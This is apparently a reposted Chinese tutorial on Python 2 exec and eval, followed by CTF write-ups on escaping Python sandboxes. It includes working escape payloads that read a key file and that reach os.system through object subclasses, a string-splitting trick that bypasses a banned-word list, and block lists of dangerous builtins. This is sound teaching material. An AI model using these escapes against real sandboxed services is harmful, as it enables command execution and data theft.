Python 沙箱逃逸

来源:http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
-Advertisement-
Play Games

Python 沙箱逃逸是通過 eval 的安全問題來實現的一種 PWN 方法。 ...


[TOC]
(基於 Python 2.7)
在解決 Python 沙箱逃逸這個問題之前,需要先瞭解 Python 中的一些語法細節。如果已經瞭解了eval函數的使用方法,就可以跳過第一和第二部分,直接看 3x00 吧。

0x00 表達式的執行

用執行某個表達式的內容,可以使用 execeval 來進行。

0x01 exec

https://docs.python.org/2.0/ref/exec.html

exec_stmt:    "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可選表達式。

1,對代碼/字元串進行操作

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以執行多行代碼,用三個引號括起來就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2,文件操作

execfile

一方面可以使用 execfile,它的作用是執行這個文件的內容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

pytest.py的輸出結果為:

Gou Li Guo Jia Sheng Si Yi

execfile執行了pytest.txt里的內容,註意是執行而非讀取,如果pytest.txt中的內容是'Gou Li Guo Jia Sheng Si Yi',那麼將不會得到任何輸出。
當然,執行一個 .py 文件也是可以的。而執行 .txt 文件的要求是,txt 文件中的內容是 ASCII 。最好還是執行一個 .py 文件而非 txt 文件。

這種執行其實是將 execfile 所指向的文件的內容直接 copy 過去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里說豐年,聽取蛤聲一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

此時,pytest 的結果為:

稻花香里說豐年,聽取蛤聲一片
2

其實就是完全地執行一遍文件里的內容……而不是當做函數調用來執行。

直接使用 exec 進行操作

直接使用 exec ,也是執行文件的內容,但是可以使用 in 表達式來使用 Global 變數域。

#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利國家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

輸出結果為

111

exec 的 globals / locals 參數的使用方法

exec支持兩個可選參數,不支持關鍵字指定參數。
Python 採用的是靜態作用域(詞法作用域)規則,類似於 C++,在該函數內該變數可用,在函數外不可用。
在 Pascal 語言中,採用的是動態作用域,也就是說,一旦函數被執行,該變數就會存在。例如,在函數 g 當中套了個函數 f,程式執行到f時,會在f中尋找表達式中的變數,如果找不到,就往外層找,此時g中若存在這個變數,則使用該變數,若不存在,繼續向外逐層查找。
需要註意的是, exec是語法聲明(statement),而非函數(function),而execfile 是函數
原因如下:
exec中直接列印外部變數:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#結果為 456

在函數中列印外部變數:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#結果:
#NameError: global name 'tup' is not defined

LEGB 規則

參照:https://segmentfault.com/a/1190000000640834

exec 中的 globals 參數

exec_stmt:    "exec" expression ["in" expression ["," expression]]

globalsdict 對象,它指定了 exec 中需要的全局變數。

  • globlas等價於globals()
  • locals等價於globals參數的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#結果:
#43 42

在段代碼中,exec中的值是locals,它來源於指定的k,即globals.
並且,globals 取於全局變數,作用於全局變數

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#結果:
#101

比較:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#結果:
#101

可以看到,相對於exec來說,其內部具有三個變數,即 age,b,a
在制定之後,b 來自 g (global),而 a 來自自定的 local 變數。
由此可見,local 取於局部變數,作用於局部變數
為了驗證這一結論,對稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#結果:
#101
# print g['a']
#KeyError: 'a'

可以看到,a並沒有作用於字典 g(全局的),而上面第一小節提到的globals中,鍵值a已經填入了全局的字典g.

exec 使用結論

可以做出以下結論
我們將exec之後包括的內容分為三個部分:p1、p2、p3

exec ("""p1""",p2,p3)
  1. 第一部分 p1,其中的內容是,就是要執行的內容;

  2. 第二部分p2,其中的內容來自全局變數,會在上一個變數作用域當中尋找對應的值,並將其傳遞給表達式,如果不存在p3p1中的結果會傳回全局變數;
  3. 第三部分p3,其中的內容是局部的,將用戶在其中自設的局部值傳遞給p1,並且在局部中生效,如果在外部引用此處用到的值將會報錯。

exec 反彙編

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE        
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE        

指令解釋在這裡:https://docs.python.org/2/library/dis.html#python-bytecode-instructions
簡要說明下,TOStop-of-stack,就是棧頂。
LOAD_CONST是入棧,RETURN_VALUE 是還原esp
其中兩者的不同之處在於:

# use `exec` disassembly
6 DUP_TOP             #複製棧頂指針
7 EXEC_STMT     #執行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是說,def函數是將變數入棧,然後調用時就出棧返回;而使用了exec之後,除了正常的入棧流程外,程式還會將棧頂指針複製一遍,然後開始執行exec的內容。

0x02 eval

eval用以動態執行其後的代碼,並返回執行後得到的值。

eval(expression[, globals[, locals]])

eval也有兩個可選參數,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2

eval 的 globals / locals 參數的使用方法

1,globals
類似於 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反彙編

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE      

比較:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE        

同樣是建棧之後執行。

1x00 exec 和 eval 的區別

exec無返回值:

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

這就會因為沒有返回值(不存在該變數而報錯)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要列印,則必須在 eval之前使用print
但是奇怪的是,為什麼 exec 反彙編出的內容當中,也會有一個RETURN_VALUE 呢?

1x01確定RETURN_VALUE來源

為了確定這個RETURN_VALUE究竟是受到哪一部分的影響,可以改動一下之前的代碼,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE        

對比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE        

對比 evalexec之後,會發現exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是複製 TOS,後者是推出TOS
在 C++ 反彙編當中,會發現對函數調用的最後會有 POP ebp,這是函數執行完之後的特征。在 Python 中,eval就是一種函數,exec是表達式。這也解釋了之前說的eval有返回值而exec無返回值的原因。
而最後的 RETURN_VALUE,很明顯可以看出並非evalexec的影響,而是 Python 中每一個程式執行完之後的正常返回(如同 C++ 中的 return 0)。
可以寫段不包含這兩者的代碼來驗證:

import dis
def no():
    a = 1+1

dis.dis(no)
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE       

所以,RETURN_VALUE是每個程式正常運行時就有的。

2x00 eval 的危險性

2x01 先期知識

在 Python 當中, import可以將一個 Python 內置模塊導入,__import__可以接受字元串作為參數。
調用 os.system(),就可以執行系統命令。在 Windows下,可以這麼寫:

>>> __import__('os').system('dir')

或者:

>>> import os
>>> os.system('dir')

也可以達到這個目的。
這兩種方法會使得系統執行dir,即文件列出命令,列出文件後,讀取其中某個文件的內容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一個功能,設計為執行用戶所輸入的內容,如

print eval("input()")

此時用戶輸入1+1,那麼會得到返回值 2。若前述的

os.system('dir')

則會直接列出用戶目錄。
但是,從之前學過的可以看到,如果為eval指定一個空的全局變數,那麼eval就無法從外部得到 os.system模塊,這會導致報錯。
然而,可以自己導入這個模塊嘛。

__import__('os').system('dir')

這樣就可以繼續顯示文件了。
如果要避免這一招,可以限定使用指定的內建函數__builtins__,這將會使得在第一個表達式當中只能採用該模塊中的內建函數名稱才是合法的,包括:

>>> dir('__builtins__')
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

這樣,就可以寫成:

eval("input()",{'__builtins__':{}})

就可以限制其只能使用內置的函數。
同時也可以將內置模塊置為None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是這種情況下__builtions____buitin__的引用依然有效。


s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().__class__.__bases__[0].__subclasses__() 
            if c.__name__ == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'__builtins__':{}})

(來自:https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
為了創建一個object,要通過

().__class__.__bases__[0]

bases類當中的第一個 元素就是元組(tuple),而tuple就是一個object.

lambda這一段主要是構造出一個函數,這個函數要跑完 subclasses來尋找一個object
這是一種情形。總的來說,就是跑一個通過object假的bytecodes.

從上述情況來看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一題

這是一道 CTF 題目,只給了這個:

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure這個模塊很好理解,看看下邊的:

from re import findall

這是 Python 正則表達式的模塊。而re.findall可以尋找指定的字元串。
把這一部分單獨抽離出來嘗試一下:

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

運行後輸入 1+1,返回結果為2.
構造
之前已經說過可以利用

().__class__.__bases__[0].__subclasses__()

在該題中,主辦方搞了個在伺服器上的文件,裡邊有 key,而[40] 是文件,直接就可以了。

().__class__.__bases__[0].__subclasses__()[40]("./key").read()

第二題

#!/usr/bin/env python 
from __future__ import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

給了這個:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    '__import__',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del __builtins__.__dict__[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比較一下和上邊的第一題有什麼不同,答案是……並沒有什麼不同……
掃了一下埠,發現貌似根本沒開……可能只是練習 =。 =


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 1 #include 2 using namespace std; 3 4 class Base 5 { 6 public: 7 Base() 8 { 9 cout << "base" << endl; 10 } //Base的構造函數 11 virtual ~Base() //Base的析構函數 ... ...
  • 雙向冒泡排序簡單地說就是從左向右的遍歷尋最大,從右向左尋最小的過程。正常情況下,雙向冒泡排序會比普通冒泡排序快。因為代碼比較簡單就不多說了,直接上代碼。 ...
  • import java.io.IOException;import java.io.PrintWriter;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.s ...
  • 20170314問題解析請點擊今日問題下方的“【Java每日一題】20170315”查看(問題解析在公眾號首發,公眾號ID:weknow619) 今日問題: 請問主程式運行結果是什麼?(點擊以下“【Java每日一題】20170315”查看20170314問題解析) 題目原發佈於公眾號、簡書:【Jav ...
  • 最近,"大前端"這個詞被頻繁提及,很多團隊也在重新思考"大前端團隊"和"移動團隊+前端團隊"這兩種模式的優劣。而在大家還在熱火朝天地討論概念的時候,餓了麽大前端團隊已經茁壯成長,有了很多先人一步的實踐了。InfoQ 特別邀請了餓了麽大前端部門負責人林建鋒,請他結合餓了麽大前端團隊的實踐,向大家分享如 ...
  • 欄目數組:$arr=Array( Array('cid' => 2,'cname' => '新聞','pid' => 0), Array('cid' => 4,'cname' =>'體育','pid' => 0), Array('cid' => 5,'cname' => '娛樂','pid' => ...
  • 其實就是卡特蘭數的定義。。。 將放置一個1視為(1,1),放置一個0視為(1,-1) 則答案就是從(0,0)出發到(n+m,n-m)且不經過y=-1的方案數。 從(0,0)出發到(n+m,n-m)的總方案數是C(n+m,n)。 若一條路徑經過y=-1,那麼將其從(0,0)到y=-1的一段路徑以y=- ...
  • 用類歐不斷縮小規模,就能在O(T*log2n)時間內求出答案。 題解:http://blog.csdn.net/coldef/article/details/62035919 代碼: 1 #include<cstdio> 2 #include<cstring> 3 #include<iostream ...
一周排行
    -Advertisement-
    Play Games
  • 示例項目結構 在 Visual Studio 中創建一個 WinForms 應用程式後,項目結構如下所示: MyWinFormsApp/ │ ├───Properties/ │ └───Settings.settings │ ├───bin/ │ ├───Debug/ │ └───Release/ ...
  • [STAThread] 特性用於需要與 COM 組件交互的應用程式,尤其是依賴單線程模型(如 Windows Forms 應用程式)的組件。在 STA 模式下,線程擁有自己的消息迴圈,這對於處理用戶界面和某些 COM 組件是必要的。 [STAThread] static void Main(stri ...
  • 在WinForm中使用全局異常捕獲處理 在WinForm應用程式中,全局異常捕獲是確保程式穩定性的關鍵。通過在Program類的Main方法中設置全局異常處理,可以有效地捕獲並處理未預見的異常,從而避免程式崩潰。 註冊全局異常事件 [STAThread] static void Main() { / ...
  • 前言 給大家推薦一款開源的 Winform 控制項庫,可以幫助我們開發更加美觀、漂亮的 WinForm 界面。 項目介紹 SunnyUI.NET 是一個基於 .NET Framework 4.0+、.NET 6、.NET 7 和 .NET 8 的 WinForm 開源控制項庫,同時也提供了工具類庫、擴展 ...
  • 說明 該文章是屬於OverallAuth2.0系列文章,每周更新一篇該系列文章(從0到1完成系統開發)。 該系統文章,我會儘量說的非常詳細,做到不管新手、老手都能看懂。 說明:OverallAuth2.0 是一個簡單、易懂、功能強大的許可權+可視化流程管理系統。 有興趣的朋友,請關註我吧(*^▽^*) ...
  • 一、下載安裝 1.下載git 必須先下載並安裝git,再TortoiseGit下載安裝 git安裝參考教程:https://blog.csdn.net/mukes/article/details/115693833 2.TortoiseGit下載與安裝 TortoiseGit,Git客戶端,32/6 ...
  • 前言 在項目開發過程中,理解數據結構和演算法如同掌握蓋房子的秘訣。演算法不僅能幫助我們編寫高效、優質的代碼,還能解決項目中遇到的各種難題。 給大家推薦一個支持C#的開源免費、新手友好的數據結構與演算法入門教程:Hello演算法。 項目介紹 《Hello Algo》是一本開源免費、新手友好的數據結構與演算法入門 ...
  • 1.生成單個Proto.bat內容 @rem Copyright 2016, Google Inc. @rem All rights reserved. @rem @rem Redistribution and use in source and binary forms, with or with ...
  • 一:背景 1. 講故事 前段時間有位朋友找到我,說他的窗體程式在客戶這邊出現了卡死,讓我幫忙看下怎麼回事?dump也生成了,既然有dump了那就上 windbg 分析吧。 二:WinDbg 分析 1. 為什麼會卡死 窗體程式的卡死,入口門檻很低,後續往下分析就不一定了,不管怎麼說先用 !clrsta ...
  • 前言 人工智慧時代,人臉識別技術已成為安全驗證、身份識別和用戶交互的關鍵工具。 給大家推薦一款.NET 開源提供了強大的人臉識別 API,工具不僅易於集成,還具備高效處理能力。 本文將介紹一款如何利用這些API,為我們的項目添加智能識別的亮點。 項目介紹 GitHub 上擁有 1.2k 星標的 C# ...